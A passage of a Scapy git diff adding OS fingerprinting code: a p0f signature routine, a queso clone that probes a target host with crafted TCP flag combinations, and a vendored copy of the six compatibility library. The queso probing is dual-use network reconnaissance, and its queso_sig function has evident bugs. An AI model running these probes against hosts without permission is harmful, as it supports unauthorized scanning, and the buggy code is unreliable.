+            elif qq == 'D' and db != p0fo_kdb:
+                pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp
+            elif qq == 'Q': pkt.payload.seq = pkt.payload.ack
+            #elif qq == '0': pkt.payload.seq = 0
+        #if db == p0fr_kdb:
+        # '0' quirk is actually not only for p0fr.fp (see
+        # packet2p0f())
+    if '0' in pers[5]:
+        pkt.payload.seq = 0
+    elif pkt.payload.seq == 0:
+        pkt.payload.seq = RandInt()
+    
+    while pkt.underlayer:
+        pkt = pkt.underlayer
+    return pkt
+
+def p0f_getlocalsigs():
+    """This function returns a dictionary of signatures indexed by p0f
+db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack.
+
+You need to have your firewall at least accepting the TCP packets
+from/to a high port (30000 <= x <= 40000) on your loopback interface.
+
+Please note that the generated signatures come from the loopback
+interface and may (are likely to) be different than those generated on
+"normal" interfaces."""
+    pid = os.fork()
+    port = random.randint(30000, 40000)
+    if pid > 0:
+        # parent: sniff
+        result = {}
+        def addresult(res):
+            # TODO: wildcard window size in some cases? and maybe some
+            # other values?
+            if res[0] not in result:
+                result[res[0]] = [res[1]]
+            else:
+                if res[1] not in result[res[0]]:
+                    result[res[0]].append(res[1])
+        # XXX could we try with a "normal" interface using other hosts
+        iface = conf.route.route('127.0.0.1')[0]
+        # each packet is seen twice: S + RA, S + SA + A + FA + A
+        # XXX are the packets also seen twice on non Linux systems ?
+        count=14
+        pl = sniff(iface=iface, filter='tcp and port ' + str(port), count = count, timeout=3)
+        for pkt in pl:
+            for elt in packet2p0f(pkt):
+                addresult(elt)
+        os.waitpid(pid,0)
+    elif pid < 0:
+        log_runtime.error("fork error")
+    else:
+        # child: send
+        # XXX erk
+        time.sleep(1)
+        s1 = socket.socket(socket.AF_INET, type = socket.SOCK_STREAM)
+        # S & RA
+        try:
+            s1.connect(('127.0.0.1', port))
+        except socket.error:
+            pass
+        # S, SA, A, FA, A
+        s1.bind(('127.0.0.1', port))
+        s1.connect(('127.0.0.1', port))
+        # howto: get an RST w/o ACK packet
+        s1.close()
+        os._exit(0)
+    return result
+
diff --git a/scapy/modules/queso.py b/scapy/modules/queso.py
new file mode 100644
index 0000000..aba6c24
--- /dev/null
+++ b/scapy/modules/queso.py
@@ -0,0 +1,116 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Clone of queso OS fingerprinting
+"""
+
+from scapy.data import KnowledgeBase
+from scapy.config import conf
+from scapy.layers.inet import IP,TCP
+from scapy.error import warning
+from scapy.volatile import RandInt
+from scapy.sendrecv import sr
+#from 
+
+conf.queso_base ="/etc/queso.conf"
+
+
+#################
+## Queso stuff ##
+#################
+
+
+def quesoTCPflags(flags):
+    if flags == "-":
+        return "-"
+    flv = "FSRPAUXY"
+    v = 0
+    for i in flags:
+        v |= 2**flv.index(i)
+    return "%x" % v
+
+class QuesoKnowledgeBase(KnowledgeBase):
+    def lazy_init(self):
+        try:
+            f = open(self.filename)
+        except IOError:
+            return
+        self.base = {}
+        p = None
+        try:
+            for l in f:
+                l = l.strip()
+                if not l or l[0] == ';':
+                    continue
+                if l[0] == '*':
+                    if p is not None:
+                        p[""] = name
+                    name = l[1:].strip()
+                    p = self.base
+                    continue
+                if l[0] not in list("0123456"):
+                    continue
+                res = l[2:].split()
+                res[-1] = quesoTCPflags(res[-1])
+                res = " ".join(res)
+                if res not in p:
+                    p[res] = {}
+                p = p[res]
+            if p is not None:
+                p[""] = name
+        except:
+            self.base = None
+            warning("Can't load queso base [%s]", self.filename)
+        f.close()
+            
+        
+queso_kdb = QuesoKnowledgeBase(conf.queso_base)
+
+    
+def queso_sig(target, dport=80, timeout=3):
+    p = queso_kdb.get_base()
+    ret = []
+    for flags in ["S", "SA", "F", "FA", "SF", "P", "SEC"]:
+        ans, unans = sr(IP(dst=target)/TCP(dport=dport,flags=flags,seq=RandInt()),
+                        timeout=timeout, verbose=0)
+        if len(ans) == 0:
+            rs = "- - - -"
+        else:
+            s,r = ans[0]
+            rs = "%i" % (r.seq != 0)
+            if not r.ack:
+                r += " 0"
+            elif r.ack-s.seq > 666:
+                rs += " R" % 0
+            else:
+                rs += " +%i" % (r.ack-s.seq)
+            rs += " %X" % r.window
+            rs += " %x" % r.payload.flags
+        ret.append(rs)
+    return ret
+            
+def queso_search(sig):
+    p = queso_kdb.get_base()
+    sig.reverse()
+    ret = []
+    try:
+        while sig:
+            s = sig.pop()
+            p = p[s]
+            if "" in p:
+                ret.append(p[""])
+    except KeyError:
+        pass
+    return ret
+        
+
+@conf.commands.register
+def queso(*args,**kargs):
+    """Queso OS fingerprinting
+queso(target, dport=80, timeout=3)"""
+    return queso_search(queso_sig(*args, **kargs))
+
+
diff --git a/scapy/modules/six.py b/scapy/modules/six.py
new file mode 100644
index 0000000..fa6deee
--- /dev/null
+++ b/scapy/modules/six.py
@@ -0,0 +1,891 @@
+# Copyright (c) 2010-2017 Benjamin Peterson
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""Utilities for writing code that runs on Python 2 and 3"""
+
+from __future__ import absolute_import
+
+import functools
+import itertools
+import operator
+import sys
+import types
+
+__author__ = "Benjamin Peterson <benjamin@python.org>"
+__version__ = "1.10.0"
+
+
+# Useful for very coarse version differentiation.
+PY2 = sys.version_info[0] == 2
+PY3 = sys.version_info[0] == 3
+PY34 = sys.version_info[0:2] >= (3, 4)
+
+if PY3:
+    string_types = str,
+    integer_types = int,
+    class_types = type,
+    text_type = str
+    binary_type = bytes
+
+    MAXSIZE = sys.maxsize
+else:
+    string_types = basestring,
+    integer_types = (int, long)
+    class_types = (type, types.ClassType)
+    text_type = unicode
+    binary_type = str
+
+    if sys.platform.startswith("java"):
+        # Jython always uses 32 bits.
+        MAXSIZE = int((1 << 31) - 1)
+    else:
+        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
+        class X(object):
+
+            def __len__(self):
+                return 1 << 31
+        try:
+            len(X())
+        except OverflowError:
+            # 32-bit
+            MAXSIZE = int((1 << 31) - 1)
+        else:
+            # 64-bit
+            MAXSIZE = int((1 << 63) - 1)
+        del X
+
+
+def _add_doc(func, doc):
+    """Add documentation to a function."""
+    func.__doc__ = doc
+
+
+def _import_module(name):
+    """Import module, returning the module after the last dot."""
+    __import__(name)
+    return sys.modules[name]
+
+
+class _LazyDescr(object):
+
+    def __init__(self, name):
+        self.name = name
+
+    def __get__(self, obj, tp):
+        result = self._resolve()
+        setattr(obj, self.name, result)  # Invokes __set__.
+        try:
+            # This is a bit ugly, but it avoids running this again by
+            # removing this descriptor.
+            delattr(obj.__class__, self.name)
+        except AttributeError:
+            pass
+        return result
+
+
+class MovedModule(_LazyDescr):
+
+    def __init__(self, name, old, new=None):
+        super(MovedModule, self).__init__(name)
+        if PY3:
+            if new is None:
+                new = name
+            self.mod = new
+        else:
+            self.mod = old
+
+    def _resolve(self):
+        return _import_module(self.mod)
+
+    def __getattr__(self, attr):
+        _module = self._resolve()
+        value = getattr(_module, attr)
+        setattr(self, attr, value)
+        return value
+
+
+class _LazyModule(types.ModuleType):
+
+    def __init__(self, name):
+        super(_LazyModule, self).__init__(name)
+        self.__doc__ = self.__class__.__doc__
+
+    def __dir__(self):
+        attrs = ["__doc__", "__name__"]
+        attrs += [attr.name for attr in self._moved_attributes]
+        return attrs
+
+    # Subclasses should override this
+    _moved_attributes = []
+
+
+class MovedAttribute(_LazyDescr):
+
+    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
+        super(MovedAttribute, self).__init__(name)
+        if PY3:
+            if new_mod is None:
+                new_mod = name
+            self.mod = new_mod
+            if new_attr is None:
+                if old_attr is None:
+                    new_attr = name
+                else:
+                    new_attr = old_attr
+            self.attr = new_attr
+        else:
+            self.mod = old_mod
+            if old_attr is None:
+                old_attr = name
+            self.attr = old_attr
+
+    def _resolve(self):
+        module = _import_module(self.mod)
+        return getattr(module, self.attr)
+
+
+class _SixMetaPathImporter(object):
+
+    """
+    A meta path importer to import scapy.modules.six.moves and its submodules.
+
+    This class implements a PEP302 finder and loader. It should be compatible
+    with Python 2.5 and all existing versions of Python3
+    """
+
+    def __init__(self, six_module_name):
+        self.name = six_module_name
+        self.known_modules = {}
+
+    def _add_module(self, mod, *fullnames):
+        for fullname in fullnames:
+            self.known_modules[self.name + "." + fullname] = mod
+
+    def _get_module(self, fullname):
+        return self.known_modules[self.name + "." + fullname]
+
+    def find_module(self, fullname, path=None):
+        if fullname in self.known_modules:
+            return self
+        return None
+
+    def __get_module(self, fullname):
+        try:
+            return self.known_modules[fullname]
+        except KeyError:
+            raise ImportError("This loader does not know module " + fullname)
+
+    def load_module(self, fullname):
+        try:
+            # in case of a reload
+            return sys.modules[fullname]
+        except KeyError:
+            pass
+        mod = self.__get_module(fullname)
+        if isinstance(mod, MovedModule):
+            mod = mod._resolve()
+        else:
+            mod.__loader__ = self
+        sys.modules[fullname] = mod
+        return mod
+
+    def is_package(self, fullname):
+        """
+        Return true, if the named module is a package.
+
+        We need this method to get correct spec objects with
+        Python 3.4 (see PEP451)
+        """
+        return hasattr(self.__get_module(fullname), "__path__")
+
+    def get_code(self, fullname):
+        """Return None
+
+        Required, if is_package is implemented"""
+        self.__get_module(fullname)  # eventually raises ImportError
+        return None
+    get_source = get_code  # same as get_code
+
+_importer = _SixMetaPathImporter(__name__)
+
+
+class _MovedItems(_LazyModule):
+
+    """Lazy loading of moved objects"""
+    __path__ = []  # mark as package
+
+
+_moved_attributes = [
+    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
+    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
+    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
+    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
+    MovedAttribute("intern", "__builtin__", "sys"),
+    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
+    MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
+    MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
+    MovedAttribute("getstatusoutput", "commands", "subprocess"),
+    MovedAttribute("getoutput", "commands", "subprocess"),
+    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
+    MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
+    MovedAttribute("reduce", "__builtin__", "functools"),
+    MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
+    MovedAttribute("StringIO", "StringIO", "io"),
+    MovedAttribute("UserDict", "UserDict", "collections"),
+    MovedAttribute("UserList", "UserList", "collections"),
+    MovedAttribute("UserString", "UserString", "collections"),
+    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
+    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
+    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
+    MovedModule("builtins", "__builtin__"),
+    MovedModule("configparser", "ConfigParser"),
+    MovedModule("copyreg", "copy_reg"),
+    MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
+    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
+    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
+    MovedModule("http_cookies", "Cookie", "http.cookies"),
+    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
+    MovedModule("html_parser", "HTMLParser", "html.parser"),
+    MovedModule("http_client", "httplib", "http.client"),
+    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
+    MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"),
+    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
+    MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
+    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
+    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
+    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
+    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
+    MovedModule("cPickle", "cPickle", "pickle"),
+    MovedModule("queue", "Queue"),
+    MovedModule("reprlib", "repr"),
+    MovedModule("socketserver", "SocketServer"),
+    MovedModule("_thread", "thread", "_thread"),
+    MovedModule("tkinter", "Tkinter"),
+    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
+    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
+    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
+    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
+    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
+    MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
+    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
+    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
+    MovedModule("tkinter_colorchooser", "tkColorChooser",
+                "tkinter.colorchooser"),
+    MovedModule("tkinter_commondialog", "tkCommonDialog",
+                "tkinter.commondialog"),
+    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
+    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
+    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
+    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
+                "tkinter.simpledialog"),
+    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
+    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
+    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
+    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
+    MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
+    MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
+]
+# Add windows specific modules.
+if sys.platform == "win32":
+    _moved_attributes += [
+        MovedModule("winreg", "_winreg"),
+    ]
+
+for attr in _moved_attributes:
+    setattr(_MovedItems, attr.name, attr)
+    if isinstance(attr, MovedModule):
+        _importer._add_module(attr, "moves." + attr.name)
+del attr
+
+_MovedItems._moved_attributes = _moved_attributes
+
+moves = _MovedItems(__name__ + ".moves")
+_importer._add_module(moves, "moves")
+
+
+class Module_six_moves_urllib_parse(_LazyModule):
+
+    """Lazy loading of moved objects in scapy.modules.six.urllib_parse"""
+
+
+_urllib_parse_moved_attributes = [
+    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
+    MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
+    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
+    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
+    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
+    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
+    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
+    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
+    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
+    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
+    MovedAttribute("quote", "urllib", "urllib.parse"),
+    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
+    MovedAttribute("unquote", "urllib", "urllib.parse"),
+    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
+    MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"),
+    MovedAttribute("urlencode", "urllib", "urllib.parse"),
+    MovedAttribute("splitquery", "urllib", "urllib.parse"),
+    MovedAttribute("splittag", "urllib", "urllib.parse"),
+    MovedAttribute("splituser", "urllib", "urllib.parse"),
+    MovedAttribute("splitvalue", "urllib", "urllib.parse"),
+    MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
+    MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
+    MovedAttribute("uses_params", "urlparse", "urllib.parse"),
+    MovedAttribute("uses_query", "urlparse", "urllib.parse"),
+    MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
+]
+for attr in _urllib_parse_moved_attributes:
+    setattr(Module_six_moves_urllib_parse, attr.name, attr)
+del attr
+
+Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes
+
+_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
+                      "moves.urllib_parse", "moves.urllib.parse")
+
+
+class Module_six_moves_urllib_error(_LazyModule):
+
+    """Lazy loading of moved objects in scapy.modules.six.urllib_error"""
+
+
+_urllib_error_moved_attributes = [
+    MovedAttribute("URLError", "urllib2", "urllib.error"),
+    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
+    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
+]
+for attr in _urllib_error_moved_attributes:
+    setattr(Module_six_moves_urllib_error, attr.name, attr)
+del attr
+
+Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes
+
+_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
+                      "moves.urllib_error", "moves.urllib.error")
+
+
+class Module_six_moves_urllib_request(_LazyModule):
+
+    """Lazy loading of moved objects in scapy.modules.six.urllib_request"""
+
+
+_urllib_request_moved_attributes = [
+    MovedAttribute("urlopen", "urllib2", "urllib.request"),
+    MovedAttribute("install_opener", "urllib2", "urllib.request"),
+    MovedAttribute("build_opener", "urllib2", "urllib.request"),
+    MovedAttribute("pathname2url", "urllib", "urllib.request"),
+    MovedAttribute("url2pathname", "urllib", "urllib.request"),
+    MovedAttribute("getproxies", "urllib", "urllib.request"),
+    MovedAttribute("Request", "urllib2", "urllib.request"),
+    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
+    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
+    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
+    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
+    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
+    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
+    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
+    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
+    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
+    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
+    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
+    MovedAttribute("URLopener", "urllib", "urllib.request"),
+    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
+    MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
+]
+for attr in _urllib_request_moved_attributes:
+    setattr(Module_six_moves_urllib_request, attr.name, attr)
+del attr
+
+Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes
+
+_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
+                      "moves.urllib_request", "moves.urllib.request")
+
+
+class Module_six_moves_urllib_response(_LazyModule):
+
+    """Lazy loading of moved objects in scapy.modules.six.urllib_response"""
+
+
+_urllib_response_moved_attributes = [
+    MovedAttribute("addbase", "urllib", "urllib.response"),
+    MovedAttribute("addclosehook", "urllib", "urllib.response"),
+    MovedAttribute("addinfo", "urllib", "urllib.response"),
+    MovedAttribute("addinfourl", "urllib", "urllib.response"),
+]
+for attr in _urllib_response_moved_attributes:
+    setattr(Module_six_moves_urllib_response, attr.name, attr)
+del attr
+
+Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes
+
+_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
+                      "moves.urllib_response", "moves.urllib.response")
+
+
+class Module_six_moves_urllib_robotparser(_LazyModule):
+
+    """Lazy loading of moved objects in scapy.modules.six.urllib_robotparser"""
+
+
+_urllib_robotparser_moved_attributes = [
+    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
+]
+for attr in _urllib_robotparser_moved_attributes:
+    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
+del attr
+
+Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes
+
+_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
+                      "moves.urllib_robotparser", "moves.urllib.robotparser")
+
+
+class Module_six_moves_urllib(types.ModuleType):
+
+    """Create a scapy.modules.six.urllib namespace that resembles the Python 3 namespace"""
+    __path__ = []  # mark as package
+    parse = _importer._get_module("moves.urllib_parse")
+    error = _importer._get_module("moves.urllib_error")
+    request = _importer._get_module("moves.urllib_request")
+    response = _importer._get_module("moves.urllib_response")
+    robotparser = _importer._get_module("moves.urllib_robotparser")
+
+    def __dir__(self):
+        return ['parse', 'error', 'request', 'response', 'robotparser']
+
+_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
+                      "moves.urllib")
+
+
+def add_move(move):
+    """Add an item to scapy.modules.six."""
+    setattr(_MovedItems, move.name, move)
+
+
+def remove_move(name):
+    """Remove item from scapy.modules.six."""
+    try:
+        delattr(_MovedItems, name)
+    except AttributeError:
+        try:
+            del moves.__dict__[name]
+        except KeyError:
+            raise AttributeError("no such move, %r" % (name,))
+
+
+if PY3:
+    _meth_func = "__func__"
+    _meth_self = "__self__"
+
+    _func_closure = "__closure__"
+    _func_code = "__code__"
+    _func_defaults = "__defaults__"
+    _func_globals = "__globals__"
+else:
+    _meth_func = "im_func"
+    _meth_self = "im_self"
+
+    _func_closure = "func_closure"
+    _func_code = "func_code"
+    _func_defaults = "func_defaults"
+    _func_globals = "func_globals"
+
+
+try:
+    advance_iterator = next
+except NameError:
+    def advance_iterator(it):
+        return it.next()
+next = advance_iterator
+
+
+try:
+    callable = callable
+except NameError:
+    def callable(obj):
+        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
+
+
+if PY3:
+    def get_unbound_function(unbound):
+        return unbound
+
+    create_bound_method = types.MethodType
+
+    def create_unbound_method(func, cls):
+        return func
+
+    Iterator = object
+else:
+    def get_unbound_function(unbound):
+        return unbound.im_func
+
+    def create_bound_method(func, obj):
+        return types.MethodType(func, obj, obj.__class__)
+
+    def create_unbound_method(func, cls):
+        return types.MethodType(func, None, cls)
+
+    class Iterator(object):
+
+        def next(self):
+            return type(self).__next__(self)
+
+    callable = callable
+_add_doc(get_unbound_function,
+         """Get the function out of a possibly unbound function""")
+
+
+get_method_function = operator.attrgetter(_meth_func)
+get_method_self = operator.attrgetter(_meth_self)
+get_function_closure = operator.attrgetter(_func_closure)
+get_function_code = operator.attrgetter(_func_code)
+get_function_defaults = operator.attrgetter(_func_defaults)
+get_function_globals = operator.attrgetter(_func_globals)
+
+
+if PY3:
+    def iterkeys(d, **kw):
+        return iter(d.keys(**kw))
+
+    def itervalues(d, **kw):
+        return iter(d.values(**kw))
+
+    def iteritems(d, **kw):
+        return iter(d.items(**kw))
+
+    def iterlists(d, **kw):
+        return iter(d.lists(**kw))
+
+    viewkeys = operator.methodcaller("keys")
+
+    viewvalues = operator.methodcaller("values")
+
+    viewitems = operator.methodcaller("items")
+else:
+    def iterkeys(d, **kw):
+        return d.iterkeys(**kw)
+
+    def itervalues(d, **kw):
+        return d.itervalues(**kw)
+
+    def iteritems(d, **kw):
+        return d.iteritems(**kw)
+
+    def iterlists(d, **kw):
+        return d.iterlists(**kw)
+
+    viewkeys = operator.methodcaller("viewkeys")
+
+    viewvalues = operator.methodcaller("viewvalues")
+
+    viewitems = operator.methodcaller("viewitems")
+
+_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
+_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
+_add_doc(iteritems,
+         "Return an iterator over the (key, value) pairs of a dictionary.")
+_add_doc(iterlists,
+         "Return an iterator over the (key, [values]) pairs of a dictionary.")
+
+
+if PY3:
+    def b(s):
+        return s.encode("latin-1")
+
+    def u(s):
+        return s
+    unichr = chr
+    import struct
+    int2byte = struct.Struct(">B").pack
+    del struct
+    byte2int = operator.itemgetter(0)
+    indexbytes = operator.getitem
+    iterbytes = iter
+    import io
+    StringIO = io.StringIO
+    BytesIO = io.BytesIO
+    _assertCountEqual = "assertCountEqual"
+    if sys.version_info[1] <= 1:
+        _assertRaisesRegex = "assertRaisesRegexp"
+        _assertRegex = "assertRegexpMatches"
+    else:
+        _assertRaisesRegex = "assertRaisesRegex"
+        _assertRegex = "assertRegex"
+else:
+    def b(s):
+        return s
+    # Workaround for standalone backslash
+
+    def u(s):
+        return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
+    unichr = unichr
+    int2byte = chr
+
+    def byte2int(bs):
+        return ord(bs[0])
+
+    def indexbytes(buf, i):
+        return ord(buf[i])
+    iterbytes = functools.partial(itertools.imap, ord)
+    import StringIO
+    StringIO = BytesIO = StringIO.StringIO
+    _assertCountEqual = "assertItemsEqual"
+    _assertRaisesRegex = "assertRaisesRegexp"
+    _assertRegex = "assertRegexpMatches"
+_add_doc(b, """Byte literal""")
+_add_doc(u, """Text literal""")
+
+
+def assertCountEqual(self, *args, **kwargs):
+    return getattr(self, _assertCountEqual)(*args, **kwargs)
+
+
+def assertRaisesRegex(self, *args, **kwargs):
+    return getattr(self, _assertRaisesRegex)(*args, **kwargs)
+
+
+def assertRegex(self, *args, **kwargs):
+    return getattr(self, _assertRegex)(*args, **kwargs)
+
+
+if PY3:
+    exec_ = getattr(moves.builtins, "exec")
+
+    def reraise(tp, value, tb=None):
+        try:
+            if value is None:
+                value = tp()
+            if value.__traceback__ is not tb:
+                raise value.with_traceback(tb)
+            raise value
+        finally:
+            value = None
+            tb = None
+
+else:
+    def exec_(_code_, _globs_=None, _locs_=None):
+        """Execute code in a namespace."""
+        if _globs_ is None:
+            frame = sys._getframe(1)
+            _globs_ = frame.f_globals
+            if _locs_ is None:
+                _locs_ = frame.f_locals
+            del frame
+        elif _locs_ is None:
+            _locs_ = _globs_
+        exec("""exec _code_ in _globs_, _locs_""")
+
+    exec_("""def reraise(tp, value, tb=None):
+    try:
+        raise tp, value, tb
+    finally:
+        tb = None
+""")
+
+
+if sys.version_info[:2] == (3, 2):
+    exec_("""def raise_from(value, from_value):
+    try:
+        if from_value is None:
+            raise value
+        raise value from from_value
+    finally:
+        value = None
+""")
+elif sys.version_info[:2] > (3, 2):
+    exec_("""def raise_from(value, from_value):
+    try:
+        raise value from from_value
+    finally:
+        value = None
+""")
+else:
+    def raise_from(value, from_value):
+        raise value
+
+
+print_ = getattr(moves.builtins, "print", None)
+if print_ is None:
+    def print_(*args, **kwargs):
+        """The new-style print function for Python 2.4 and 2.5."""
+        fp = kwargs.pop("file", sys.stdout)
+        if fp is None:
+            return
+
+        def write(data):
+            if not isinstance(data, basestring):
+                data = str(data)
+            # If the file has an encoding, encode unicode with it.
+            if (isinstance(fp, file) and
+                    isinstance(data, unicode) and
+                    fp.encoding is not None):
+                errors = getattr(fp, "errors", None)
+                if errors is None:
+                    errors = "strict"
+                data = data.encode(fp.encoding, errors)
+            fp.write(data)
+        want_unicode = False
+        sep = kwargs.pop("sep", None)
+        if sep is not None:
+            if isinstance(sep, unicode):
+                want_unicode = True
+            elif not isinstance(sep, str):
+                raise TypeError("sep must be None or a string")
+        end = kwargs.pop("end", None)
+        if end is not None:
+            if isinstance(end, unicode):
+                want_unicode = True
+            elif not isinstance(end, str):
+                raise TypeError("end must be None or a string")
+        if kwargs:
+            raise TypeError("invalid keyword arguments to print()")
+        if not want_unicode:
+            for arg in args:
+                if isinstance(arg, unicode):
+                    want_unicode = True
+                    break
+        if want_unicode:
+            newline = unicode("\n")
+            space = unicode(" ")
+        else:
+            newline = "\n"
+            space = " "
+        if sep is None:
+            sep = space
+        if end is None:
+            end = newline
